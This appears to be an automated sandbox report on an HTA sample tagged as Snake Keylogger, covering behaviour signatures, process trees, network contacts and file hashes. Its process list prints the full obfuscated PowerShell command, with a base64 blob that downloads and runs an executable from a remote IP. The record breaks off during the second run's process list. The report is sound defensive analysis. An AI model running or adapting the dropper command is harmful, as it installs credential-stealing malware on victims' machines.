Malware Analysis Report

2025-08-11 06:36

Sample ID 241016-b4hn7awfkf
Target 4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta
SHA256 4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368
Tags
snakekeylogger collection defense_evasion discovery execution keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368

Threat Level: Known bad

The file 4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta was found to be: Known bad.

Malicious Activity Summary

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Snake Keylogger

Snake Keylogger payload

Blocklisted process makes network request

Evasion via Device Credential Deployment

Downloads MZ/PE file

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

AutoIT Executable

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious use of AdjustPrivilegeToken

outlook_office_path

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

outlook_win_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-16 01:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-16 01:41

Reported

2024-10-16 01:44

Platform

win7-20240708-en

Max time kernel

16s

Max time network

112s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta"

Signatures

Snake Keylogger

stealer keylogger snakekeylogger

Snake Keylogger payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1392 set thread context of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2908 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2908 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2908 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2908 wrote to memory of 2252 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 2252 wrote to memory of 2892 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2252 wrote to memory of 2892 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2252 wrote to memory of 2892 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2252 wrote to memory of 2892 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2252 wrote to memory of 2856 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2252 wrote to memory of 2856 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2252 wrote to memory of 2856 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2252 wrote to memory of 2856 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2856 wrote to memory of 2776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2856 wrote to memory of 2776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2856 wrote to memory of 2776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2856 wrote to memory of 2776 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2252 wrote to memory of 1392 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2252 wrote to memory of 1392 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2252 wrote to memory of 1392 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2252 wrote to memory of 1392 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 1392 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta"

C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE

"C:\Windows\sysTeM32\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE" "pOwerSHelL -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt ; IeX($(IEx('[sySTeM.tExt.EncOdInG]'+[cHaR]0x3a+[CHAR]58+'UTf8.geTstrINg([SySteM.coNVeRt]'+[CHar]0X3A+[Char]58+'frOmbase64striNG('+[cHar]34+'JHhzZ1dMTGJ3cHcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVtYmVSREVGSU5JdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxR0Fnd2p0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdnVEaE5SWGRkLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmtGUlVRQWIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiS2NkY3VuVHoiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZVNwQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiTE1URWdJVnBORyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhzZ1dMTGJ3cHc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy4yNS8yNzAvdGFza2hvc3R3LmV4ZSIsIiRFTlY6QVBQREFUQVx0YXNraG9zdHcuZXhlIiwwLDApO1N0YVJ0LVNMRUVwKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bYPAss -NOP -w 1 -c deVICECreDENtIALDEpLoyMeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_99j9dfn.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA6BC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA6BB.tmp"

C:\Users\Admin\AppData\Roaming\taskhostw.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

"C:\Users\Admin\AppData\Roaming\taskhostw.exe"

Network

Country Destination Domain Proto
US 172.245.123.25:80 172.245.123.25 tcp
US 8.8.8.8:53 checkip.dyndns.org udp
BR 132.226.247.73:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 6093d9d65098cad1a18f64e698d15d64
SHA1 785b2728821e483ce886306c5c09cef431dba41e
SHA256 fcb9dac2d9d9ba8b84495fd817780b22a80b1ee109d44e7d2c2c08a334b933b2
SHA512 d2ffc707af256c5de051434baa8c733567b72956e682091b48486d9e93df60ea8f812e0b0dcecea9a1c4d02c1d457ee2582764e25adb6ec64e73356e96b1d486

\??\c:\Users\Admin\AppData\Local\Temp\_99j9dfn.cmdline

MD5 a1afc9ecf40afd1c5576603a221009c1
SHA1 74d4eea41de07b2aaf098f37ebe86f470189ced3
SHA256 1cf344dbc2e6dd2b6c4bd43a47c68ad30681e935e9d579e3bd7e491de5faa865
SHA512 8b11fc8c9000f22b3379d73c6cda66661d5b2c0725d133346984121f38d442e85218f06d502c0bf0bc9505e8d6a391289e539c94f48a9feeec922ea016775efb

\??\c:\Users\Admin\AppData\Local\Temp\_99j9dfn.0.cs

MD5 ecc2c10cb4c5954e2d5156bce54e41f4
SHA1 2d7cde31f9942c1dc80c493c03d675962991bf31
SHA256 21d7b2d886e9a8c3cf70d60b612151ecf35df156524dda00bc5f0c14df45b3ac
SHA512 bfce3f87e8f97f1a8f149c7f3e172e312019a4189fd1e33bdb7d2c617c6bbf41f548e91c12f71b5e8215397138ea643430f0ee87d72b33760c0dd2e3b8ae4d96

\??\c:\Users\Admin\AppData\Local\Temp\CSCA6BB.tmp

MD5 cd4b415852ddd09d6e7d143d0a00f56d
SHA1 6fad24bc27d4e5c8f590f34c1910507b5b3f8f9a
SHA256 ad16e1d3a0b09073b10837e6a923965dcf72a374cc30bbfd8cc651e3db41d896
SHA512 5260fa480bc4c81d7165bf27ea7464952192bd063b56301646a22411da452622768b4aca6c3eaea449a2ae7e627c3ea5c19c4320e8c5eed9bbc545b5d11540e3

C:\Users\Admin\AppData\Local\Temp\_99j9dfn.dll

MD5 2ea51eefa730542821fd43a352c193b4
SHA1 fea0eb88d22d35b16e0ee79e28e5a2134cec1650
SHA256 8ca6b70d0e7706fa03a4808cf3643eb9870bbc7d0a8e09e371e1e08e126420d8
SHA512 670384971c88b162efb250c5aef1aa81a3ad509344051c4bf9255d2e67b3c296ef9908431733127a30c6f1a7e1276cd0f7c169fa6297aa4f2e894e6502a5bf2f

C:\Users\Admin\AppData\Local\Temp\RESA6BC.tmp

MD5 ed2baaffc4fc083f868c04c033c7a66d
SHA1 1a25db2a8ea9acad652a0762a98187dd59c06569
SHA256 158739f824ae8962a3fdcefd28378a9609b7fad46690b8b1921d7fb2916cff0a
SHA512 e46c3fe4328f3b42845b8ac86ee21bd28cc38a2e261c390f81ea83b7a45de33c01b2c0376ea4602cbf451f68e8cda129e81ed4da280a6a4d6f57d61d232b387b

C:\Users\Admin\AppData\Local\Temp\_99j9dfn.pdb

MD5 b7ba7fdf0ab8286e9039693f6d582d80
SHA1 1a7b717fe061c656dd7b33501add0a33edab9ef9
SHA256 a4a958148add2d50d8c545641d0abe4823e6824092c82619f01a3db1a7c4c3b5
SHA512 7ca66f30eec0caeb5e99c102509ea1b38957be36b66c3657e1f4d66deff4c3a414c334f2dc811b93b5f6b3bf37db803ebd537e26ecfe4aef50be78f821e80d5f

C:\Users\Admin\AppData\Roaming\taskhostw.exe

MD5 3e2f27edd3deacd8f08f6ed1133b2040
SHA1 060e3218949c5a006bb8607e8228e6539b737bfb
SHA256 163a25e2b68ed09eb4cf82f28c87568969091764bdfb4140b4675a00e2d2ed86
SHA512 da437c39e3337f6750c3b9353c71999c16415ec1fecdaa4bba676bb12207cb51a7258b91b175d1893ae4e9111fa9ccf027151ad7527d9d78df59f86436cfdb42

memory/2100-36-0x0000000000400000-0x0000000000426000-memory.dmp

memory/2100-35-0x0000000000400000-0x0000000000426000-memory.dmp

memory/2100-34-0x0000000000400000-0x0000000000426000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-16 01:41

Reported

2024-10-16 01:44

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

149s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Snake Keylogger

stealer keylogger snakekeylogger

Snake Keylogger payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

AutoIT Executable

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2860 set thread context of 4696 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3256 wrote to memory of 772 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 3256 wrote to memory of 772 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 3256 wrote to memory of 772 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE
PID 772 wrote to memory of 2124 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 772 wrote to memory of 2124 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 772 wrote to memory of 2124 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 772 wrote to memory of 1940 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 772 wrote to memory of 1940 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 772 wrote to memory of 1940 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1940 wrote to memory of 648 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1940 wrote to memory of 648 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1940 wrote to memory of 648 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 772 wrote to memory of 2860 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 772 wrote to memory of 2860 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 772 wrote to memory of 2860 N/A C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE C:\Users\Admin\AppData\Roaming\taskhostw.exe
PID 2860 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2860 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2860 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
PID 2860 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Roaming\taskhostw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\4e7237c56ca769460022e46e7585b630f9918be1cf427c180facd3edd22e6368.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\wINDowSPoweRSHell\V1.0\PoweRsHELl.ExE

